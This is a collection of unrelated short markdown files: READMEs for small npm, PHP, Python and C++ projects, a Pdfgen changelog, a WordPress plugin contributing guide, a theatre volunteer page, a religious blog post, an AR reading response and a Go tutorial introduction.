[![devDependencies Status](https://david-dm.org/nielse63/expand-hex-code/dev-status.svg)](https://david-dm.org/nielse63/expand-hex-code?type=dev)
[![Code Climate](https://codeclimate.com/github/nielse63/expand-hex-code/badges/gpa.svg)](https://codeclimate.com/github/nielse63/expand-hex-code)
[![NPM version](https://badge.fury.io/js/expand-hex-code.svg)](http://badge.fury.io/js/expand-hex-code)
[![npm](https://img.shields.io/npm/dt/expand-hex-code.svg?style=flat-square)](https://www.npmjs.com/package/expand-hex-code) [![Greenkeeper badge](https://badges.greenkeeper.io/nielse63/expand-hex-code.svg)](https://greenkeeper.io/)

Expand hex codes from three to six digits

## Installation

### With `npm`

```sh
npm install expand-hex-code
```

### With `yarn`

```sh
yarn add expand-hex-code
```

## Usage

### In a node project

Import the script to your project

```js
import expandHexCode from "expand-hex-code";
// or
const expandHexCode = require("expand-hex-code");
```

And execute the script:

```js
const hexCode = expandHexCode("#000"); // #000000
const hexCode = expandHexCode("#cb0"); // #ccbb00
const hexCode = expandHexCode("#ffffff"); // #ffffff
```

## Contributing

Fork the repo and clone locally, then run:

```sh
yarn install
```

This will install the `devDependencies` packages and build the `dist` folder.

Once you've made your desired changes, make sure to write any new tests for
your feature and run the tests:

```sh
yarn test
```

If all tests pass, [create a pull request](https://github.com/nielse63/expand-hex-code/pulls).


text:
---
date: 2016-01-25 10:50:49+00:00
redirect_from:
  - /the-ugliness-of-fake-christianity/
title: Fake Christianity is no comfort at all
header:
  teaser: "/assets/images/category-for-the-suffering-christian.png"
  video:
    id: vhxURmVl0lQ?rel=0
    provider: youtube
categories: for-the-suffering-christian
tags:
  - false-gospel
  - apostasy
  - hell-is-real
  - people-need-truth-not-platitudes
  - death
  - dying
  - well-meaning-but-misled
  - nearness-of-death-cuts-through-the-fog
excerpt: "Is forgiveness possible?  Two minute video clip from ER."
---

Eternity Matters posted this telling video last week.  Rather than talk about it, I'd rather you watch the 2 minute clip for yourself.

**Please note:** If you're reading this in an email or RSS feed, you must [visit the website](http://www.alecsatin.com/for-the-suffering-christian/fake-christianity-is-no-comfort-at-all/){: .btn .btn--warning} to watch the video.
{: .notice}

Thanks to Eternity Matters - [Is forgiveness possible? Don’t ask the “Christian” Left, ask a Christian!](https://1eternitymatters.wordpress.com/2016/01/19/is-forgiveness-possible-dont-ask-the-christian-left-ask-a-christian-2/).

Originally published at: Comfort for Christians


text:
---
title: Readings | Seeing Is Believing And Ideal Subway Seating | Week 10
date:<PHONE_NUMBER>793
createdAt:<PHONE_NUMBER>793
publishedAt:<PHONE_NUMBER>793
slug: readings-seeing-is-believing-and-subway-trains
tags: ["process", "w10", "reading_response", "citylens"]
---

This week I focused on two different articles, one academic and one "pop cultural"--the same drill as [last week's Readings post.](/posts/readings-augmented-reality-art-and-applications). Though coming at it from different directions, each article got me closer to some prototyping concepts for my final class project.

## Ideal Subway Seating

The first article was actually [an older article from Wired about ideal subway seating arrangement](https://www.wired.com/2013/04/rethinking-subway-seating/). I had read this a long time ago and I scoured the internet for it again to re-read it and think about it in the context of my AR-minded project ideas. The crux of the article is that certain seating configurations inside the train cars can be more "efficient". That is more comfortable riding experiences and minimizing the unused or uncomfortable space in the train car.

It's worth noting that the seating study was conducted during non-rush hour times when riders had more "choices" over seating. But when given choices, the riders opted for minimizing how close they were to other riders. This study cited in the article concluded that:

> a train has to be at 120 percent of its capacity for 90 percent of its seats to be in use.

And even more interestingly, it exposed certain preferences of riders:

> New York transit passengers prefer standing near a door to standing in the middle of the car, even when more space is available there.

The article shows a "traditional" train car and its inefficiences:

![subway layout](https://media.wired.com/photos/59335afd58b0d64bb35d4ec9/master/w_670,c_limit/trad-layout-e1366120222249.jpg)

Then it proposes a "better" train car design that looks something like this:

![subway layout](https://media.wired.com/photos/59335afed80dd005b42b1ad2/master/w_670,c_limit/recom-layout-e1366120282386.jpg)

_NOTE: The original source of graphics is http://docs.trb.org/prp/13-1693.pdf but that is now a 404. Will treat Wired as pseudo-primary source here._

In the end this article left me thinking:

_There is a better train design out there that better maximizes comfort and minimizes unused space. But how does one tune folks' preferences against the inefficiency of clumping together by the doors in a public space such as a train car?_

Naturally, this lead my to search for academic papers on the topic of augmented-reality assisted education.

## Education And Augmented Reality

From the article _(Seeing Is Believing: Using Virtual and Augmented Reality to Enhance Student Learning)[https://journals.sagepub.com/doi/abs/10.1177/1076217518804854]_ by Del Siegle, I derived some breakthroughs about utilizing AR to annotate public spaces.

Siegle does a great round up of ideas of what's possible in the education space using AR. The first portion of the text focuses on how 360-video experiences are useful for students to:

> observe a scene in whatever direction they wish. This permits the student to virtually explore the world recorded on the 360-degree video.

This is nice. But not entirely practical for the "in the field" type of AR project I am leaning towards.

The second portion of the text deals with AR directly and mentions using Google Photos app (or its APIs) to annotate every day objects. Siegle uses images such as this:

![ar education](https://lh3.googleusercontent.com/4i5_tvZp8EJEHh4BBbh-z_7iFs0UUwGZTc13qoTt5c3O5oBp8Axps6t4Em0lAxI7vHrq7s0Juj5XaUcc_rRQDzqW6YAYTyvhd5M2Hg=w1375)

_Taken from [here](https://edu.google.com/products/vr-ar/expeditions/?modal_active=none) so as not to post media directly from the academic article._

Ultimately, Siegle breaks down AR's utility in education into two categories:

1. Overlay Images
2. Trigger Images

Both of these can have some really interesting applications for my own project. I will explore these in [my next post.](/posts/final-project-research-phase)

repository: omardelarosa/website

repo_name: omardelarosa/website


text:
## Pdfgen 0.8.1 (November 30, 2020)

* Handle deprecation of emulateMedia function.

  This was submitted by https://github.com/maokomioko in
  https://github.com/romaimperator/pdfgen/pull/2. Thanks for your contribution!

## Pdfgen 0.8.0 (December 17, 2019)

* Allow using a `file://` path as a URL for PDFs

  This was submitted by https://github.com/maokomioko in
  https://github.com/romaimperator/pdfgen/pull/1. Thanks for your contribution!

## Pdfgen 0.7.0 (June 14, 2019)

* Revert to using setContent but require Puppeteer >= 1.11.0.

  This version of Puppeteer added support to setContent for waiting until browser
  events fire. The original reason for transitioning away from setContent was lack
  of that feature and navigating to a data URL is limited to a maximum of 2 megabytes
  of HTML as that is Chromium's URL length limit.

## Pdfgen 0.6.0 (June 14, 2019)

* Use capture3 to also capture stderror which is where Node error messages are output.

  This allows Pdfgen to include the error from Node in the exception that is raised.

## Pdfgen 0.5.0 (September 3, 2018)

* Changes how the wait for timeout works slightly.

  This new way starts the wait prior to putting the HTML in the page. Now that we can
  utilize the waitUntil navigation feature in Puppeteer, we might as well start the
  clock before waiting for that amount of time. This way, the maximum wait time should
  be roughly the timeout instead of the timeout + how long the page takes to load.

* Changes how static HTML is put into the page.

  This new method allows us to use the navigation wait helpers so there should be
  almost no need for timeout waiting if passing Pdfgen HTML instead of a URL.

  Sadly, this still does not load assets on the page so inlining your assets is still
  required.

* Moves emulateMedia and setViewport steps to be before setting content or navigation
  so that the browser won't need to rerender the content and hopefully we improve
  performance some.

## Pdfgen 0.4.2 (June 8, 2018)

* Adds checking of minimum Node version required.

  Need to soon add testing for different versions of Node to discover what the
  compatible versions are.

* Adds handling of any unhandled rejection by logging the error and then exiting.

  This change provides better error messaged from Node and also prevents the process
  from hanging and not exiting when there was an error.

* Fixes bug where launch options were no longer being passed to the Javascript.

## Pdfgen 0.4.1 (May 15, 2018)

* Fixes bug with regex that checks if a URL was passed.

## Pdfgen 0.4.0 (May 12, 2018)

* Can now provide a URL to the initializer.

  Providing a URL to the initializer will now nagivate to the URL and then render the
  page to a PDF.

* Adds a debug mode.

  Calling debug_mode and passing in a time in milliseconds to wait with the browser
  not headless. This may change to be forever in the future but that would cause weird
  issues since the Ruby code expects the Javascript to return the PDF on stdout and
  there isn't yet a good way to indicate that you are done debugging and the rendering
  can continue.

## Pdfgen 0.3.1 (April 23, 2018)

* Fixes bug by passing the wait_for_timeout to the Javascript script.

## Pdfgen 0.3.0 (April 23, 2018)

* Allows optional period in milliseconds to wait for the page to finish rendering.

  A new optional wait timeout that will occur after the content has been set,
  the media emulation set, and the viewport has been set to allow for javascript
  and rendering to run before printing to a pdf

repository: romaimperator/pdfgen

gha_language: Ruby

repo_name: romaimperator/pdfgen


text:
---
title: Volunteer Opportunities
sidebar:
  heading: Get in touch
  text: >
    If you are interested in volunteering with us, please send an email
    detailing your interest and availability to
    [michelle<EMAIL_ADDRESS>---
**Usher an Event**

We are currently seeking volunteers for **What Do the Women Say? 2023: Fighters for Freedom** taking place on **Wednesday, March 8** at **7pm**. \
\
Volunteers will help with event door monitoring, seating assistance, and general support including audience survey distribution. Our volunteers are a very important part of any successful event, and they get to see the show for free!\
\
We ask our volunteers to **arrive 1.5 hours prior to showtime** for this special event. Brava is located at 2781 24th Street in the Mission neighborhood of San Francisco.

Just like our artists, audiences, and staff, we ask that our volunteers wear a well-fitted mask, preferably a higher grade than cloth. You can read more about our health and safety protocols at [www.goldenthread.org/posts/health-safety-protocols](http://www.goldenthread.org/posts/health-safety-protocols)

To sign up as a volunteer for this event, please email: [linda<EMAIL_ADDRESS>

Volunteer ushers provide general assistance at performances. They monitor the doors, assist with set-up and clean-up of audience seating, prepare programs, take tickets, help patrons to their seats, distribute and collect audience surveys, and generally help out at performances. They are a very important part of any successful event and get to see the show for free!

**Assist with a Production**

Production volunteers provide general assistance with productions. They may assist designers and/or technicians as they build sets, paint, hang lights, build or procure costumes and props, support rehearsals by prepping materials, including hospitality, and assist with load-in and strike, and provide administrative support such as making copies, preparing documents, or taking notes.

gha_language: CSS


text:
# Contributing to WordPress SQRL Login

First of thank you for considering helping out with this project. All contributions are welcome; we want this project to
reach completion with a full implementation of the SQRL specification.

### I want to file a bug.

Then you open an issue under [issues](https://github.com/kalaspuffar/wordpress-sqrl-login/issues) and follow the guide there. Please search before you post, so we get a few duplicates as possible.

### I want to suggest a feature.

Then you open an issue under [issues](https://github.com/kalaspuffar/wordpress-sqrl-login/issues) and follow the guide there. Please search before you post, so we get a few duplicates as possible.

### I want to report a security vulnerability.

If the bug is none crucial and could be solved using the typical workflow, then report the issue in the same way as we usually file bugs. If the bug is sensitive, then email the project members, and we will address it as soon as possible.

### Testing

All new functions should include a valid unit test to ensure code quality going forward.

### Code style

We are trying to keep a consistent coding convention to help readability and make it easy to submit code.

The coding style is based on the standard WordPress ruleset with some exceptions that
made sense for this project.

* Class file name is inconsistent in the ruleset and not followed
* Nonce verification for forms can't be used as the client needs to follow the API
* Escaping the output is not required or valid because of API requests
* base64 encode and decode heavily used and accepted
* meta_key and meta_value is used for all SQRL values and warnings about performance is ignored
* Some print_r and error_log statements exist to ease error reporting.

repository: sqrldev/wordpress-sqrl-login

repo_name: sqrldev/wordpress-sqrl-login


text:
## COM Port to WebService Proxy Tools

These are some very simple tools to proxy data from a serial port on windows (COM) to a WebSocket so that
a html page can read this data and act on them.

The project is written in PHP and consists of two separate programs:

- `com2ip` - connects to a COM port and forwards the data to a local TCP port
- `ip2web` - Acts as the server.  Establishes listening ports for the raw TCP port and a WebSocket server.  This should be started first before anything else.

# Installation

You need to have php installed (preferrably 7.0+) and composer installed.  Then run `composer install` to download all the dependencies.

You will also need the Direct IO php extension installed.  Download it from [the pecl site](https://pecl.php.net/package/dio/0.1.0/windows)


text:
molssi_workshop
==============================
[//]: # (Badges)
[![Travis Build Status](https://travis-ci.org/REPLACE_WITH_OWNER_ACCOUNT/molssi_workshop.png)](https://travis-ci.org/REPLACE_WITH_OWNER_ACCOUNT/molssi_workshop)
[![AppVeyor Build status](https://ci.appveyor.com/api/projects/status/REPLACE_WITH_APPVEYOR_LINK/branch/master?svg=true)](https://ci.appveyor.com/project/REPLACE_WITH_OWNER_ACCOUNT/molssi_workshop/branch/master)
[![codecov](https://codecov.io/gh/REPLACE_WITH_OWNER_ACCOUNT/molssi_workshop/branch/master/graph/badge.svg)](https://codecov.io/gh/REPLACE_WITH_OWNER_ACCOUNT/molssi_workshop/branch/master)

A package developed in the MolSSI workshop to do... math

This repository is currently under developent. To do  developmental install, download this repository and type:

`pip install -e`

### Copyright

Copyright (c) 2019, Theodore Fobe

#### Acknowledgements

Project based on the
[Computational Molecular Science Python Cookiecutter](https://github.com/molssi/cookiecutter-cms) version 1.0.


text:
---
title: "Introduction"
metaTitle: "Introduction to Gophertuts"
metaDescription: "Introduction to Gophertuts"
---

"Go is an open source programming language that makes it easy to build simple, reliable, and efficient software.". In past couple of years, there is a rise of Golang in terms of community driven
projects and users in general. Most people claim it as a langauge of the future.
Created and backed by Google, Golang is a modern programming language created to facilitate backend
development. Since Golang is new, the creators have put most of their effort in learning from the
setbacks of previous programming language to provide a convenient writing scheme and also a faster
compile time while running it.

# Why does Golang stand out?
By now, there are over 700 official programming languages according to wikipedia, so there should
be a fair reason why Golang stands out from most of them. According to my perspective, the choice of
programming language should depend upon the use case that you are dealing with, hence if we compare
golang with languages used in frontend web development, then it will be of no use. Golang really
shines in the backend development or the server side. The main advantage of golang is that it introduces the ability to leverage multiple cores in your system, dramatically improving performance.
Golang is a blend of languages that are syntactically easy to write such as Python with the same execution speed as in C.
Other advantages of Golang are:
- Belonging to the family of C, Golang is much closer to the underlying hardware, which increases the performance as there is no conversion to intermediate byte code.
- Golang is different, it doesn't natively support the Object Oriented design principles, making the code easy to maintain. I personally do not mind classes and Object oriented design but they add too much overhead in terms of complexity at some point of time.
- The community is constantly growing and Golang is backed by Google!

![Statistics](../content/images/golang-benefits.png)

## Goroutines
With parallelism an already introduced concept in traditional languages, Golang takes it to a whole new level. Languages like Java are so widely used due to the fact that they offer multi-threading that
maximizes CPU utilisation by running subprocesses(threads) simultaneously. When Golang was made, the cost of creating and running threads was carefully studied and therefore, creating and running threads
in golang is way too cheap than in other languages such as Java.

![go routines](../content/images/parallel-execution.jpg)


text:
# Isometric Minesweeper
Minesweeper in isometric view, written in C++ / SDL2.

![Isometric Minesweeper - screenshot](screenshots/cover.png)

## Dependencies
SDL2
SDL2_image

## Compile (linux)
sh compile.sh

## Run
./bin/isometric-minesweeeper

## Download binary

[Download](https://jakubthedeveloper.itch.io/isometric-minesweeper)

## Screenshots

![Isometric Minesweeper - screenshot 1](screenshots/1.png)
![Isometric Minesweeper - screenshot 2](screenshots/2.png)
![Isometric Minesweeper - screenshot 3](screenshots/3.png)
![Isometric Minesweeper - screenshot 4](screenshots/4.png)

## Blog Post (Polish only)
[Izometryczny Saper w C++ SDL2](https://programisty-dzien-powszedni.pl/gra-saper-w-wersji-izometrycznej-w-c-i-sdl2)

repository: jakubthedeveloper/IsometricMinesweeper

repo_name: jakubthedeveloper/IsometricMinesweeper